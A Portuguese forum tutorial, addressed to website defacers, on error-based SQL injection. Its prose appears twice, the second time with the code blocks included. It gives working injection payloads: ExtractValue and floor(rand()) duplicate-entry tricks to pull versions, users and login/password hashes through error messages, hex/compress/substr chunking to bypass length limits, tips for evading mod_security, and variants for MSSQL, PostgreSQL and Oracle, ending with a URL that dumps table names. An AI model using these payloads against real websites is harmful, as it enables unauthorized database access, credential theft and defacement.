Qual o defacer ativo que nunca recebeu uma mensagem dessas:
Olhando à primeira vista, não parece ter muita lógica. Esta mensagem apareceu quando você começou a testar o número de colunas pelo 'order by' (sim, para continuar, é bom saber SQLi simples). Foi chutando números grandes, diminuindo, até que te veio uma mensagem dizendo que a coluna 1 não existe?
Antes de começar, você também precisa saber bastante da linguagem SQL. Não vou passar a limpo todo o ataque aqui. Vou deixá-lo em um ponto onde será possível que você o continue sem (muita) dificuldade.
O SQLi baseado em erros é aquele que fazemos uso da consulta dupla (double-query) - mesmo no MySQL, que "não" permite duas consultas num mesmo comando - e não usamos o comando UNION (pode ser útil contra aqueles famosos mod_security e similares, que bloqueiam determinados comandos na QUERY STRING (dados enviados pelo método GET - impressos na URL - ou POST - ocultos nos HTTP headers).
Como o próprio nome sugere, o que queremos virá em forma de erros (sim, os erros vão significar algo para você).
Tudo bem. Imagine que o endereço [domínio]/noticia.php é vulnerável, no parâmetro "id", de método GET. Sendo assim, receberíamos um erro por isso (erro de PHP, SQL ou a página não é exibida corretamente):
Então, pensando ser um ataque como qualquer outro, começamos outros testes:
No primeiro teste, a página não foi exibida corretamente (afinal, 1!=0). No segundo teste, a notícia foi exibida normalmente (afinal, 1=1). Então, o website é realmente vulnerável.
Continuando o ataque, vamos começar pelo ORDER BY. Geralmente eu começo por números grandes:
E, impressionantemente, recebemos erro ao tentar ordernar pela coluna 1.
É bom que você já fique sabendo que este não será um ataque de 1 minuto e meio. Você precisará dedicar um tempo a mais pra esse site. Isto porque o tráfego de dados é menor e mais lento, visto que há um limite de 31 bytes na quantidade de dados extraída.
Veja como conseguimos provocar um erro booleano (que diz respeito à true ou false) em um servidor SQL, e manipulamos a mensagem de erro para que tenha o que queremos. No caso abaixo, a versão do MySQL rodando:
Conseguimos saber que a versão é superior à 5. Neste caso, poderemos usar o information_schema.
Mas queremos saber mais. Vamos obter, agora, além da versão, o usuário atual e o banco de dados.
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT CONCAT_WS(0x3a,VERSION(),USER,DATABASE()))));
ERROR 1105 (HY000): XPATH syntax error: '5.1.50:root@localhost:temp'[/code]
Viu como o que queremos está nos erros? Mas ainda há um problema. Por segurança ou para evitar flood, o servidor SQL limita a parte dinâmica das mensagens de erro a 31 bytes. Quer ver?
Imagine que tentamos obter um login e senha de uma tabela de nosso próprio banco de dados. Na primeira tentativa, vamos fazer da maneira convencional:
Agora, vamos tentar simular um ataque de SQLi error-based:
Note que ficou faltando uma parte da hash da senha, justamente por causa do limite. Mas há como burlar isso. No exemplo abaixo, vamos ampliar a quantidade de bytes extraíveis para 64 bytes:
Note que utilizamos o rand(). Isto significa que nem sempre o retorno vem ou não. Há esta outra maneira que mantém 99% de retorno do resultado. Ficou bem grande, com certeza poucos usariam essa consulta em um ataque, mas observe, principalmente, a lógica:
Complicado, não? E o retorno então? Não, ele já é mais simples... Veja:
Se unirmos estas técnicas a outras funções interessantes do MySQL, podemos ampliar ainda mais a extração de dados.
Por exemplo: se utilizarmos a função compress() com a biblioteca zlib, poderemos compactar o retorno a uma taxa de até 50%. Mas há a desvantagem de não poder usar comparações booleanas para extrair cada caractere (no caso de Blind SQLi), já que o tipo de dados, compactado, impede isto.
Mas, novamente uma solução. E, desta, vez, é bem simples. Se utilizarmos a função hex() poderemos transformar o retorno em hexadecimal. Desta forma, transportaríamos qualquer tipo de dados e ainda fazer as comparações booleanas que nos forem necessárias. Ainda podemos concatenar dados.
Vamos tentar aplicar isso em uma simulação de ataque:
Hm... Viu um problema? Sim, aquele velho limite nos impediu de obter todo o retorno.
Mas agora faremos diferente: vamos navegar por todo o retorno usando a função substr(), similar à de mesmo nome do PHP. Ela nos retorna a parte de uma string de X a Y. Por exemplo:
Obs.: Você pode usar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para converter strings de/para hexadecimal.
Variações entre servidores
O exemplo acima foi executado em um servidor MySQL. Não há dados para saber se ele é o mais ou menos seguro, mas sabe-se que é o mais utilizado.
Vamos ver exemplos em outros servidores:
MSSQL / Sybase
O ataque é baseado em converter a string, geralmente em texto, para 'int' (inteiro - numérico). Desta forma, ocorre o erro. Exemplo:
Além disso, é possível fazer UPDATEs, DROPs, DELETEs, INSERTs e outros comandos, separados por ';'.
Postgre
Como no MSSQL, tentaremos transformar strings em valores inteiros.
E seguiremos a mesma lógica do MySQL:
Oracle
No Oracle, podemos extrair até 214 bytes de dados numa mensagem de erros, se utilizarmos a função XMLType() e tratando um pouco a string.
Utilizaremos algumas coisas que aprendemos no MySQL, como transformar a consulta em hexadecimal, usar substr() pra navegar pelo retorno, mas lembrando que Oracle não possui limit/offset.
Será necessário usar a função replace() para substituir os espaços por "_" (underline).
Também pode ser necessário usar a função RAWTOHEX(string) para converter strings para hexadecimal. Veja a simulação de um ataque:
Lembra de nosso exemplo no início do tutorial? Vamos obter as tabelas desta forma:
Para obter mais informações sobre este tipo de ataque, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Código:
Unknown column '1' in 'order clause'
Antes de começar, você também precisa saber bastante da linguagem SQL. Não vou passar a limpo todo o ataque aqui. Vou deixá-lo em um ponto onde será possível que você o continue sem (muita) dificuldade.
O SQLi baseado em erros é aquele que fazemos uso da consulta dupla (double-query) - mesmo no MySQL, que "não" permite duas consultas num mesmo comando - e não usamos o comando UNION (pode ser útil contra aqueles famosos mod_security e similares, que bloqueiam determinados comandos na QUERY STRING (dados enviados pelo método GET - impressos na URL - ou POST - ocultos nos HTTP headers).
Como o próprio nome sugere, o que queremos virá em forma de erros (sim, os erros vão significar algo para você).
Tudo bem. Imagine que o endereço [domínio]/noticia.php é vulnerável, no parâmetro "id", de método GET. Sendo assim, receberíamos um erro por isso (erro de PHP, SQL ou a página não é exibida corretamente):
Código:
/noticia.php?id=123'
Código:
?id=123 and 1=0--+ ?id=123 and 1=1--+
Continuando o ataque, vamos começar pelo ORDER BY. Geralmente eu começo por números grandes:
Código:
?id=123 order by 100--+ ?id=123 order by 10--+ ?id=123 order by 5--+ ?id=123 order by 3--+ ?id=123 order by 2--+ ?id=123 order by 1--+
É bom que você já fique sabendo que este não será um ataque de 1 minuto e meio. Você precisará dedicar um tempo a mais pra esse site. Isto porque o tráfego de dados é menor e mais lento, visto que há um limite de 31 bytes na quantidade de dados extraída.
Veja como conseguimos provocar um erro booleano (que diz respeito à true ou false) em um servidor SQL, e manipulamos a mensagem de erro para que tenha o que queremos. No caso abaixo, a versão do MySQL rodando:
Código:
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT VERSION()))); ERROR 1105 (HY000): XPATH syntax error: '\5.1.50'
Mas queremos saber mais. Vamos obter, agora, além da versão, o usuário atual e o banco de dados.
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT CONCAT_WS(0x3a,VERSION(),USER,DATABASE()))));
ERROR 1105 (HY000): XPATH syntax error: '5.1.50:root@localhost:temp'[/code]
Viu como o que queremos está nos erros? Mas ainda há um problema. Por segurança ou para evitar flood, o servidor SQL limita a parte dinâmica das mensagens de erro a 31 bytes. Quer ver?
Imagine que tentamos obter um login e senha de uma tabela de nosso próprio banco de dados. Na primeira tentativa, vamos fazer da maneira convencional:
Código:
mysql> SELECT CONCAT_WS(0x3a,login,senha) FROM usuarios LIMIT 0,1; admin:*84F73E34331C8892EB209C079E0082F0F5BF6080
Código:
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT CONCAT_WS(0x3a,login,senha) FROM usuarios LIMIT 0,1))); ERROR 1105 (HY000): XPATH syntax error: '\admin:*84F73E34331C8892EB209C079'
Código:
mysql> SELECT 1 and row(1,1)<(select count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x FROM usuarios group by x limit 1); ERROR 1062 (23000): Duplicate entry 'admin:*84F73E34331C8892EB209C079E0082F0F5BF6080:0' for key 'group_key'
Código:
select ’1 ‘ and if(row(0,0)> (select + count(*), concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a, floor(rand()*2)) x from usuarios group by x limit 1),1,if(row (0,0)> (select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*), concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a, floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,(select 1 and 1=1))))))))));
Código:
ERROR 1062 (23000): Duplicate entry 'admin:*84F73E34331C8892EB209C079E0082F0F5BF6080:0' for key 'group_key'
Por exemplo: se utilizarmos a função compress() com a biblioteca zlib, poderemos compactar o retorno a uma taxa de até 50%. Mas há a desvantagem de não poder usar comparações booleanas para extrair cada caractere (no caso de Blind SQLi), já que o tipo de dados, compactado, impede isto.
Código:
mysql> SELECT compress(version()); x#3###5
Código:
mysql> SELECT HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))) FROM usuarios LIMIT 0,1; 2E000000789C05C1C90D00200804C07E7CADE0B1F8D4403B24C6FEE3CCCD7CABB0C554D7A65A0F69E25B6007D31CA004A2EF18203E14400B01
Código:
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))) FROM usuarios LIMIT 0,1))); ERROR 1105 (HY000): XPATH syntax error: '\2E000000789C05C1C90D00200804C07'
Mas agora faremos diferente: vamos navegar por todo o retorno usando a função substr(), similar à de mesmo nome do PHP. Ela nos retorna a parte de uma string de X a Y. Por exemplo:
Se temos a string ABCDEF:
substr("ABCDEF", 3, 5) = CDE
Usaremos esta função para obter cada parte de nossa consulta (uso: substr(string, início, limite)), pegando de 29 em 29 caracteres:substr("ABCDEF", 3, 5) = CDE
Código:
mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),1,30) FROM usuarios LIMIT 0,1))); ERROR 1105 (HY000): XPATH syntax error: '\2E000000789C05C1C90D00200804C0' mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),31,30) FROM usuarios LIMIT 0,1))); ERROR 1105 (HY000): XPATH syntax error: '\7E7CADE0B1F8D4403B24C6FEE3CCCD' (...) mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),121,30) FROM usuarios LIMIT 0,1))); ERROR 1105 (HY000): XPATH syntax error: '\'
Variações entre servidores
O exemplo acima foi executado em um servidor MySQL. Não há dados para saber se ele é o mais ou menos seguro, mas sabe-se que é o mais utilizado.
Vamos ver exemplos em outros servidores:
MSSQL / Sybase
O ataque é baseado em converter a string, geralmente em texto, para 'int' (inteiro - numérico). Desta forma, ocorre o erro. Exemplo:
Código:
SELECT 1 WHERE 1=1 AND 1=convert(int,@@version);-- Conversion failed when converting the nvarchar value 'Microsoft SQL Server (...) (...) Copyright (c) (...) Microsoft Corporation (...) on Windows NT (...) (build X: Service Pack X) ' to data type int.
Postgre
Como no MSSQL, tentaremos transformar strings em valores inteiros.
Código:
postgres=# select cast(version() as numeric); ERROR: invalid input syntax for type numeric: "PostgreSQL X on X, compiled by GCC X (Servidor) X"
Código:
postgres=# select cast((select login || CHR(58) || senha from usuarios) as numeric); ERROR: invalid input syntax for type numeric: "admin:X"
No Oracle, podemos extrair até 214 bytes de dados numa mensagem de erros, se utilizarmos a função XMLType() e tratando um pouco a string.
Utilizaremos algumas coisas que aprendemos no MySQL, como transformar a consulta em hexadecimal, usar substr() pra navegar pelo retorno, mas lembrando que Oracle não possui limit/offset.
Será necessário usar a função replace() para substituir os espaços por "_" (underline).
Código:
SQL> SELECT XMLTYPE(CHR(60)||CHR(58||(SELECT REPLACE((SELECT banner FROM (SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1),CHR(32),CHR(95))FROM dual)||(CHR(62))|FROM dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-000110: Warning: invalid QName ":Oracle_database_X" (not a Name) Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 1 ORA-6512: at line 1 no rows selected
Código:
SQL> SELECT 1 FROM dual WHERE 1=1 AND(1)=(SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual); ERROR at line 1: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-000110: Warning: invalid QName ":VERSAO_EM_HEXADECIMAL" (not a Name) Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 1 ORA-6512: at line 1
Código:
noticia.php?id=-583 and (select 1 from(select count(*),concat(table_name,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
Comment